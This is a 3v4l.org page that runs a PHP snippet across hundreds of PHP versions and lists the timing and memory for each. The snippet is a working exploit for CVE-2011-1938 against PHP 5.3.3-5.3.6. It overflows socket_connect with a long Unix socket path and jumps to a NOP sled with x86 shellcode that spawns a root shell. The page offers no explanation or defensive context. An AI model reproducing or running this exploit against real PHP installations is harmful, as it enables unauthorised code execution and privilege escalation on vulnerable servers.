3v4l.org

run code in 300+ PHP versions simultaneously
<?php // Credit: Mateusz Kocielski, Marek Kroemeke and Filip Palian // Affected Versions: 5.3.3-5.3.6 echo "[+] CVE-2011-1938"; echo "[+] there we go...\n"; define('EVIL_SPACE_ADDR', "\xff\xff\xee\xb3"); define('EVIL_SPACE_SIZE', 1024*1024*8); $SHELLCODE = "\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0". "\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1". "\xcd\x80"; echo "[+] creating the sled.\n"; $CODE = str_repeat("\x90", EVIL_SPACE_SIZE); for ($i = 0, $j = EVIL_SPACE_SIZE - strlen($SHELLCODE) - 1 ; $i < strlen($SHELLCODE) ; $i++, $j++) { $CODE[$j] = $SHELLCODE[$i]; } $b = str_repeat("A", 196).EVIL_SPACE_ADDR; $var79 = socket_create(AF_UNIX, SOCK_STREAM, 1); echo "[+] popping shell, have fun (if you picked the right address...)\n"; $var85 = socket_connect($var79,$b); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.40.0190.00326.67
8.3.30.0120.00926.84
8.3.20.0100.00326.73
8.3.10.0110.00028.69
8.3.00.0070.00327.47
8.2.170.0200.00726.79
8.2.160.0180.00727.14
8.2.150.0120.00028.46
8.2.140.0090.00328.52
8.2.130.0120.00028.52
8.2.120.0110.00427.06
8.2.110.0110.00430.30
8.2.100.0110.00725.91
8.2.90.0080.00425.88
8.2.80.0090.00325.60
8.2.70.0070.00426.05
8.2.60.0000.01126.04
8.2.50.0080.00426.05
8.2.40.0030.00928.52
8.2.30.0000.01025.95
8.2.20.0080.00425.53
8.2.10.0070.00325.61
8.2.00.0030.00725.48
8.1.270.0030.00930.19
8.1.260.0100.00326.35
8.1.250.0060.00331.81
8.1.240.0110.00330.20
8.1.230.0070.01127.23
8.1.220.0080.00425.79
8.1.210.0060.00625.66
8.1.200.0070.00725.35
8.1.190.0110.00025.22
8.1.180.0090.00325.35
8.1.170.0080.00426.55
8.1.160.0120.00026.89
8.1.150.0110.00326.50
8.1.140.0040.00725.32
8.1.130.0100.00025.85
8.1.120.0000.01025.57
8.1.110.0040.00725.39
8.1.100.0070.00325.42
8.1.90.0030.00725.56
8.1.80.0060.00325.41
8.1.70.0040.00725.54
8.1.60.0070.00425.54
8.1.50.0060.00625.53
8.1.40.0070.00425.59
8.1.30.0040.00825.64
8.1.20.0030.00725.72
8.1.10.0030.00825.46
8.1.00.0030.00725.47
8.0.300.0090.00327.53
8.0.290.0040.00824.62
8.0.280.0050.00526.25
8.0.270.0070.00425.27
8.0.260.0030.00624.82
8.0.250.0030.00724.89
8.0.240.0080.00324.90
8.0.230.0100.00024.71
8.0.220.0030.00624.83
8.0.210.0070.00324.73
8.0.200.0060.00324.78
8.0.190.0050.00524.78
8.0.180.0080.00224.72
8.0.170.0040.00824.71
8.0.160.0030.00724.86
8.0.150.0040.00724.84
8.0.140.0040.00724.80
8.0.130.0030.00721.29
8.0.120.0000.01024.81
8.0.110.0110.00024.75
8.0.100.0030.00724.83
8.0.90.0040.00724.70
8.0.80.0150.00624.84
8.0.70.0000.01124.66
8.0.60.0100.00024.84
8.0.50.0090.00324.72
8.0.30.0170.00725.16
8.0.20.0210.00724.89
8.0.10.0040.00724.85
8.0.00.0210.01124.60
7.4.330.0080.00020.98
7.4.320.0040.00424.39
7.4.300.0110.00024.47
7.4.290.0000.01124.38
7.4.280.0060.00624.50
7.4.270.0060.00324.44
7.4.260.0030.00521.24
7.4.250.0070.00424.42
7.4.240.0070.00424.49
7.4.230.0060.00324.13
7.4.220.0190.00624.34
7.4.210.0180.00924.44
7.4.200.0060.00324.27
7.4.190.0030.00724.29
7.4.160.0160.00624.45
7.4.150.0120.01224.05
7.4.140.0130.01324.36
7.4.130.0140.01124.63
7.4.120.0140.01024.35
7.4.110.0180.01024.44
7.4.100.0090.01624.45
7.4.90.0330.02324.52
7.4.80.0200.00724.42
7.4.70.0130.01924.34
7.4.60.0170.01024.39
7.4.50.0030.00924.23
7.4.40.0120.00924.32
7.4.30.0120.01524.45
7.4.10.0130.01322.88
7.4.00.0140.00822.80
7.3.330.0120.00020.98
7.3.320.0110.00021.04
7.3.310.0100.00024.00
7.3.300.0030.00724.01
7.3.290.0150.00624.03
7.3.280.0150.00724.07
7.3.270.0150.01124.30
7.3.260.0170.01124.21
7.3.250.0210.01124.20
7.3.240.0180.00624.03
7.3.230.0230.00824.13
7.3.210.0190.01624.27
7.3.200.0160.01624.22
7.3.190.0210.00724.02
7.3.180.0100.01324.32
7.3.170.0170.00724.13
7.3.160.0030.02224.14
7.3.130.0160.00922.97
7.3.120.0110.01022.70
7.3.110.0130.01322.46
7.3.100.0100.01022.27
7.3.90.0030.02122.72
7.3.80.0070.01022.61
7.3.70.0160.00322.49
7.3.60.0160.01022.70
7.3.50.0100.01022.65
7.3.40.0140.00022.49
7.3.30.0070.01122.69
7.3.20.0120.00424.36
7.3.10.0070.00724.29
7.3.00.0070.01024.63
7.2.330.0180.01224.32
7.2.320.0150.01924.61
7.2.310.0210.00424.57
7.2.300.0120.01224.55
7.2.290.0140.01024.16
7.2.260.0160.00722.70
7.2.250.0110.01423.02
7.2.240.0170.00322.83
7.2.230.0120.00922.85
7.2.220.0110.01122.69
7.2.210.0220.00322.87
7.2.200.0030.01722.82
7.2.190.0000.01622.97
7.2.180.0130.01322.66
7.2.170.0100.01022.91
7.2.160.0130.00623.07
7.2.150.0090.00624.57
7.2.140.0110.00724.83
7.2.130.0060.01024.77
7.2.120.0060.00924.80
7.2.110.0000.01324.92
7.2.100.0110.00424.77
7.2.90.0060.00924.80
7.2.80.0070.01124.81
7.2.70.0150.00324.62
7.2.60.0080.01124.68
7.2.50.0040.01424.86
7.2.40.0030.01324.99
7.2.30.0060.00624.63
7.2.20.0000.01824.79
7.2.10.0060.01624.89
7.2.00.0730.00825.96
7.1.330.0060.00923.68
7.1.320.0070.01423.74
7.1.310.0110.00423.53
7.1.300.0100.00723.49
7.1.290.0090.00923.68
7.1.280.0110.00423.80
7.1.270.0100.00723.60
7.1.260.0030.00923.82
7.1.250.0030.01423.61
7.1.240.0000.01523.87
7.1.230.0090.00623.66
7.1.220.0090.00623.63
7.1.210.0030.00723.48
7.1.200.0070.00823.64
7.1.190.0030.01323.47
7.1.180.0000.01423.33
7.1.170.0100.00323.47
7.1.160.0030.01423.79
7.1.150.0040.00823.74
7.1.140.0100.00723.62
7.1.130.0100.01323.78
7.1.120.0070.00723.68
7.1.110.0120.00423.48
7.1.100.0400.00524.74
7.1.90.0000.01123.49
7.1.80.0040.01123.67
7.1.70.0050.01124.21
7.1.60.0050.00824.48
7.1.50.0070.00724.26
7.1.40.0030.01323.72
7.1.30.0120.00423.81
7.1.20.0030.01023.56
7.1.10.0000.01123.30
7.1.00.0020.02926.91
7.0.330.0060.01023.12
7.0.320.0140.00323.10
7.0.310.0140.00423.32
7.0.300.0070.00423.13
7.0.290.0080.00323.16
7.0.280.0070.00323.44
7.0.270.0060.01323.46
7.0.260.0070.00723.11
7.0.250.0040.01423.18
7.0.240.0100.00723.34
7.0.230.0030.01223.18
7.0.220.0060.00923.22
7.0.210.0080.00823.18
7.0.200.0500.00923.91
7.0.190.0000.01723.25
7.0.180.0040.01223.27
7.0.170.0070.00723.31
7.0.160.0100.00323.34
7.0.150.0080.00423.21
7.0.140.0050.04326.68
7.0.130.0030.01023.46
7.0.120.0000.04026.71
7.0.110.0090.00323.18
7.0.100.0100.00323.41
7.0.90.0110.00723.11
7.0.80.0040.00723.40
7.0.70.0070.00323.07
7.0.60.0100.03525.70
7.0.50.0020.03224.44
7.0.40.0070.02524.50
7.0.30.0250.04424.66
7.0.20.0180.03424.69
7.0.10.0120.04024.74
7.0.00.0130.04724.63
5.6.400.0120.00922.54
5.6.390.0090.00622.53
5.6.380.0110.01122.55
5.6.370.0170.00322.30
5.6.360.0130.00322.11
5.6.350.0090.00922.16
5.6.340.0210.00422.45
5.6.330.0070.01622.20
5.6.320.0140.00722.25
5.6.310.0100.00322.33
5.6.300.0100.01022.52
5.6.290.0110.00722.41
5.6.280.0050.04025.50
5.6.270.0090.01222.27
5.6.260.0090.00922.21
5.6.250.0100.01022.38
5.6.240.0100.00322.59
5.6.230.0060.01022.33
5.6.220.0110.00722.14
5.6.210.0150.04425.42
5.6.200.0080.05024.18
5.6.190.0120.04525.44
5.6.180.0270.03325.35
5.6.170.0260.03925.46
5.6.160.0120.02525.26
5.6.150.0130.03324.07
5.6.140.0130.02724.20
5.6.130.0110.03924.28
5.6.120.0080.04525.78
5.6.110.0120.05025.55
5.6.100.0140.02325.62
5.6.90.0030.04225.56
5.6.80.0070.04925.27
5.6.70.0060.01222.06
5.6.60.0120.00622.07
5.6.50.0070.00722.41
5.6.40.0120.00922.31
5.6.30.0100.01022.49
5.6.20.0060.00922.17
5.6.10.0100.01022.30
5.6.00.0160.00722.12
5.5.380.0060.01022.26
5.5.370.0140.00322.24
5.5.360.0030.01522.43
5.5.350.0250.03925.46
5.5.340.0070.04024.02
5.5.330.0100.02725.26
5.5.320.0250.04225.27
5.5.310.0210.02625.09
5.5.300.0040.02724.01
5.5.290.0100.04323.97
5.5.280.0160.03725.38
5.5.270.0100.02325.36
5.5.260.0180.04125.43
5.5.250.0110.03825.31
5.5.240.0120.02725.19
5.5.230.0210.00322.24
5.5.220.0060.01522.07
5.5.210.0110.00822.31
5.5.200.0150.00722.20
5.5.190.0120.00322.03
5.5.180.0040.01422.20
5.5.170.0100.00322.13
5.5.160.0100.00921.89
5.5.150.0130.00722.16
5.5.140.0110.00722.51
5.5.130.0100.01321.96
5.5.120.0130.00322.27
5.5.110.0100.01022.40
5.5.100.0030.01622.27
5.5.90.0110.00421.77
5.5.80.0060.00922.08
5.5.70.0030.01722.11
5.5.60.0040.01121.96
5.5.50.0070.01021.98
5.5.40.0100.01022.07
5.5.30.0060.01022.04
5.5.20.0110.01122.36
5.5.10.0130.00622.02
5.5.00.0030.01322.24
5.4.450.0080.02423.08
5.4.440.0130.02023.09
5.4.430.0080.02323.00
5.4.420.0070.02423.13
5.4.410.0120.04523.02
5.4.400.0100.02322.76
5.4.390.0080.03822.64
5.4.380.0070.04322.91
5.4.370.0080.04222.91
5.4.360.0120.04122.78
5.4.350.0100.03422.85
5.4.340.0070.02222.90
5.4.330.0070.01118.94
5.4.320.0160.04322.75
5.4.310.0050.03422.75
5.4.300.0080.02322.86
5.4.290.0080.02222.76
5.4.280.0120.04022.88
5.4.270.0080.03822.97
5.4.260.0090.02422.83
5.4.250.0090.02022.99
5.4.240.0120.02922.85
5.4.230.0060.03523.00
5.4.220.0080.04222.98
5.4.210.0100.04023.00
5.4.200.0100.03222.75
5.4.190.0080.04422.88
5.4.180.0080.02322.70
5.4.170.0050.02522.90
5.4.160.0090.02322.88
5.4.150.0110.02722.87
5.4.140.0130.03221.53
5.4.130.0140.02021.55
5.4.120.0090.02121.60
5.4.110.0080.04221.64
5.4.100.0080.03521.63
5.4.90.0130.02321.58
5.4.80.0030.02621.46
5.4.70.0160.03521.45
5.4.60.0120.03021.58
5.4.50.0130.03721.59
5.4.40.0140.04021.35
5.4.30.0120.04021.53
5.4.20.0100.03821.63
5.4.10.0100.04221.63
5.4.00.0110.02421.31
5.3.290.0100.03020.37
5.3.280.0090.02320.25
5.3.270.0080.02820.21
5.3.260.0100.02020.32
5.3.250.0080.02320.33
5.3.240.0100.03720.21
5.3.230.0050.02720.22
5.3.220.0100.04320.17
5.3.210.0090.02820.25
5.3.200.0080.02820.15
5.3.190.0110.04120.11
5.3.180.0080.03620.28
5.3.170.0120.02320.28
5.3.160.0110.03320.20
5.3.150.0120.03820.27
5.3.140.0120.04020.21
5.3.130.0120.03920.25
5.3.120.0100.03020.24
5.3.110.0080.02520.06
5.3.100.0050.03019.96
5.3.90.0050.04320.06
5.3.80.0150.03419.83
5.3.70.0080.03719.70
5.3.60.0110.03819.90
5.3.50.0120.03319.83
5.3.40.0050.02419.97
5.3.30.0090.02219.99
5.3.20.0080.04419.80
5.3.10.0090.02819.68
5.3.00.0080.03819.64
5.2.170.0100.03718.85
5.2.160.0030.03719.00
5.2.150.0070.03018.86
5.2.140.0030.03718.86
5.2.130.0030.04018.94
5.2.120.0070.06018.86
5.2.110.0030.04318.86
5.2.100.0070.06018.79
5.2.90.0130.05718.80
5.2.80.0130.03318.80
5.2.70.0030.06718.70
5.2.60.0130.06318.88
5.2.50.0130.05718.71
5.2.40.0070.05318.65
5.2.30.0070.03318.66
5.2.20.0070.06318.71
5.2.10.0100.02718.63
5.2.00.0000.04018.59
5.1.60.0070.06017.87
5.1.50.0070.04717.80
5.1.40.0130.05017.67
5.1.30.0130.05317.98
5.1.20.0030.06318.16
5.1.10.0070.05317.88
5.1.00.0070.06017.82
5.0.50.0100.03716.37
5.0.40.0100.03716.25
5.0.30.0030.06715.99
5.0.20.0000.03015.92
5.0.10.0130.04016.12
5.0.00.0030.06715.91
4.4.90.0130.03013.76
4.4.80.0030.02313.69
4.4.70.0000.02713.72
4.4.60.0030.02313.82
4.4.50.0070.02013.74
4.4.40.0100.04013.74
4.4.30.0030.04013.70
4.4.20.0030.03713.79
4.4.10.0070.03713.77
4.4.00.0130.03313.80
4.3.110.0100.03313.64
4.3.100.0070.02713.76
4.3.90.0070.03713.69
4.3.80.0030.03013.68
4.3.70.0030.02713.64
4.3.60.0100.02313.71
4.3.50.0030.02013.71
4.3.40.0030.05713.59
4.3.30.0030.01712.43
4.3.20.0030.03712.46
4.3.10.0030.02312.31
4.3.00.0030.02312.43

preferences:
52.83 ms | 400 KiB | 5 Q